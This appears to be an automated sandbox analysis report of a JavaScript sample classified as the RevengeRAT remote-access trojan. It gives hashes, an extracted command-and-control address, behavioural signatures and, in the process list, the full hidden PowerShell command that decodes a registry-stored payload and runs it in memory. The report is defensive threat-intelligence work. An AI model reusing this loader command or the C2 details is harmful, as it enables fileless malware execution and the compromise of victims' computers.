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Analysis
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max time kernel
93s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/01/2025, 13:57
Static task
static1
Behavioral task
behavioral1
Sample
0000003323677.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
0000003323677.js
Resource
win10v2004-20241007-en
General
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Target
0000003323677.js
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Size
253KB
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MD5
453bc0d9d84305bd4811c8c0c8622db6
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SHA1
85553506f2dc5abcec56a06cb36f69c0b046efa4
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SHA256
862502255d9fd9eb8f658e23f3833e7cd211514cb9f9a6a2853ae9858d3843f7
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SHA512
af6ef42e885481ae3bc0939017c8eb328531ea50d7eb852bd7b5b744a70d202e57f09f2671ab1553c05d4c53181973896c44109e7eb19f7fb0d087f697632d87
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SSDEEP
6144:p8t+pgvJENiy2BMs+1WKKL7EVLy19uQTuol9nv2RWoaAImBeN1PXY1qm:p8kpgvJENZ2JJLm
Malware Config
Extracted
revengerat
NyanCatRevenge
13.49.66.229:333
8a25aa6e78e44708a
Signatures
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RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Revengerat family
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Blocklisted process makes network request 1 IoCs
flow pid Process 17 2832 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2832 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2832 powershell.exe 2832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2832 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5104 wrote to memory of 2832 5104 wscript.exe 82 PID 5104 wrote to memory of 2832 5104 wscript.exe 82
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0000003323677.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','30');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82